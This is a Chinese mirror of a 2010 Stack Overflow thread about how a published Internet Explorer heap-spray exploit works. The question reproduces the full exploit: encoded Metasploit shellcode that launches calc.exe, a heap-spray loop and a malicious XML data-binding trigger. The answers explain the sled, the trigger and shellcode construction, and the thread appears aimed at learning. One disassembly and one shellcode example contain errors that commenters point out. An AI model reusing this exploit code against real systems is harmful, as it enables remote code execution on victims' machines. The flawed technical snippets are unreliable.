这个 milw0rm 堆喷射漏洞是如何工作的？
Posted
技术标签:
【中文标题】这个 milw0rm 堆喷射漏洞是如何工作的？【英文标题】：How does this milw0rm heap spraying exploit work? 【发布时间】：2010-09-27 17:26:20 【问题描述】：我通常不难阅读 javascript 代码，但对于这个我无法弄清楚其中的逻辑。该代码来自于 4 天前发布的漏洞利用。你可以在milw0rm找到它。
代码如下：
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do
spray += spray;
while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
这就是我相信它的作用，我希望你能帮助我解决我误解的部分。
变量shellcode 包含打开calc.exe 的代码。我不明白他们是如何找到那个奇怪的字符串的。有什么想法吗？
第二件事是变量spray。我不明白这个奇怪的循环。
第三件事是变量memory，它从未在任何地方使用过。他们为什么要创建它？
最后一件事：XML 标签在页面中的作用是什么？
目前我有很好的答案，但大多是非常笼统的。我想要更多关于代码价值的解释。一个例子是unescape("%u0a0a%u0a0a");。这是什么意思？循环也一样：为什么开发人员写：length < 0xd0000？我想更深入的了解，不仅仅是这段代码的理论。
【问题讨论】：
你应该看看堆喷射：en.wikipedia.org/wiki/Heap_spraying 我们如何成功运行这个漏洞利用？我们必须在 IE 中运行它吗？ 【参考方案1】：每当我看到在漏洞利用讨论中没有得到解决的内存时，我的第一个想法是漏洞利用是某种缓冲区溢出，在这种情况下，内存要么导致缓冲区溢出，要么被访问一次缓冲区溢出。
【讨论】：
在这种情况下，它不是堆损坏、基于堆的缓冲区溢出或基于堆栈的缓冲区溢出：blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx【参考方案2】：shellcode 包含一些 x86 汇编指令，这些指令将执行实际的漏洞利用。 spray 创建一长串指令，这些指令将被放入 memory。由于我们通常无法找到我们的 shellcode 在内存中的确切位置，因此我们在其前面放置了很多 nop 指令并跳转到那里的某个地方。 memory 数组将保存实际的 x86 代码以及跳转机制。我们会将精心制作的 XML 提供给存在错误的库。当它被解析时，这个错误会导致指令指针寄存器被分配到我们漏洞利用的某个地方，从而导致任意代码执行。
要更深入地理解，您实际上应该弄清楚 x86 代码中的内容。 unscape 将用于将字符串表示的字节序列放入spray 变量中。它是有效的 x86 代码，它填充了一大块堆并跳转到 shellcode 的开头。结束条件的原因是脚本引擎的字符串长度限制。字符串不能大于特定长度。
在 x86 汇编中，0a0a 代表 or cl, [edx]。就我们的漏洞利用而言，这实际上等同于nop 指令。无论我们在spray 中跳转到哪里，我们都会进入下一条指令，直到我们到达我们真正想要执行的代码的shellcode。
如果您查看 XML，您会看到 0x0a0a 也在那里。准确描述发生了什么需要对漏洞利用的特定知识（你必须知道漏洞在哪里以及它是如何被利用的，我不知道）。但是，我们似乎通过将innerHtml 设置为该恶意 XML 字符串来强制 Internet Explorer 触发错误代码。 Internet Explorer 尝试解析它，错误代码以某种方式控制了数组存在的内存位置（因为它是一个大块，跳转到那里的概率很高）。当我们跳转到那里时，CPU 将继续执行or cl, [edx] 指令，直到到达放入内存中的 shellcode 的开头。
我已经反汇编了shellcode：
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
理解这个shellcode需要x86汇编知识和MS库本身的问题（知道我们到达这里时系统状态是什么），而不是JavaScript！该代码将依次执行calc.exe。
【讨论】：
感谢您为此做出的努力。 +25 声望和我所有的尊重。谢谢 很好的答案，但好主 - 突然间我对电脑不好;-) 我对那些设法想出这些漏洞的人感到惊讶。如果他们足够聪明，可以用这个破解某人的银行账户，他们应该得到所有可以偷的钱；） 如果对 SO 有一个很好的答案，那就是它。 Disassemby 似乎荒谬且完全随机。那是不对的。我尝试交换字节，假设字符串中的字符存储在 little-endian 中，但没有帮助。【参考方案3】：这看起来像是对 Microsoft 为其发布紧急补丁的 recent Internet Explorer bug 的利用。它使用了 Microsoft XML 处理程序的数据绑定功能中的一个缺陷，导致堆内存被错误地释放。
Shellcode 是发生错误时将运行的机器代码。喷雾和内存只是在堆上分配的一些空间，以帮助发生可利用的情况。
【讨论】：
你认为 Chrome 的扩展会发生这样的事情吗？【参考方案4】：这是来自 metasploit，这意味着它使用的是 metasploit shell 代码之一。它是开源的，所以你可以去获取它：http://www.metasploit.com/
【讨论】：
【参考方案5】：Heap Spraying 是利用浏览器的常用方法，如果你喜欢它，你可以找到一些这样的帖子：http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
【讨论】：
【参考方案6】：见Character encodings in HTML。
这是编码为字符串的二进制数据，JavaScript 正在对其进行解码。
也是XSS的常用形式。
你可以在这里看到所有的编码技巧：
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
【讨论】：
【参考方案7】：简单的shellcode示例
我相信在汇编 at&t 语法 x86 中的 Hello world（培训中的向导）。
设置文件：vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
像这样编译：as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
现在你有了一个打印出 hello world 的二进制文件。
将二进制文件转换为 shell 代码类型：objdump -D shellcode
你会得到输出：
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
现在，如果您查看第 4 行的文本，您将看到：400078: eb 1a jmp 0x400094
eb 1a 部分是汇编指令jmp one 的十六进制表示，其中“one”是字符串的内存地址。
准备你的shellcode执行打开另一个文本文件并将十六进制值存储在字符数组中。要正确格式化 shell 代码，请在每个十六进制值之前输入 \x。
根据 objdump 命令输出，接下来的 shell 代码示例将如下所示：
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
此示例使用 C 作为数组。 现在你有工作的 shellcode 将写入标准输出“hello world”
您可以通过将shell代码放入漏洞中进行测试，也可以编写以下c程序对其进行测试：
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main()
((void(*)(void))PAYLOAD)();
return 0;
编译程序输入：
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
使用./run 运行
你知道有一个在 linux mint/debian 中测试过的简单 shellcode 开发的工作示例。
【讨论】：
不要在 64 位代码中使用int 0x80 32 位 ABI。对于堆栈上的字符串，它将失败，因为内核只查看系统调用参数的低 32 位。 What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code?。 （在这种情况下，您将创建一个无限循环，因为sys_write 将返回-EFAULT，而mov $1, %al 将保留高位设置，因此您将获得-ENOSYS 而不是sys_exit）。此外，在 64 位代码中，您只需 jmp 转发字符串并使用 RIP 相对的 lea 来获取地址，而不是调用/弹出。
默认情况下构建 PIE 可执行文件的 gcc 也会失败，因为这样即使您的静态存储字符数组也将超出低 32 位。 （顺便说一句，如果它是 const char payload[]，那么它将在文本段中（在 .rodata 部分中）并且您不需要 -z execstack。）
另外，movl 4, %rax 包含一个零字节（由于操作数大小不匹配而无法组合，并且缺少 $，因此 4 是绝对地址）。我认为您发布了您的资源的早期版本。我早期的 cmets 来自查看您添加 sys_exit 调用的反汇编。以上是关于这个 milw0rm 堆喷射漏洞是如何工作的？的主要内容，如果未能解决你的问题，请参考以下文章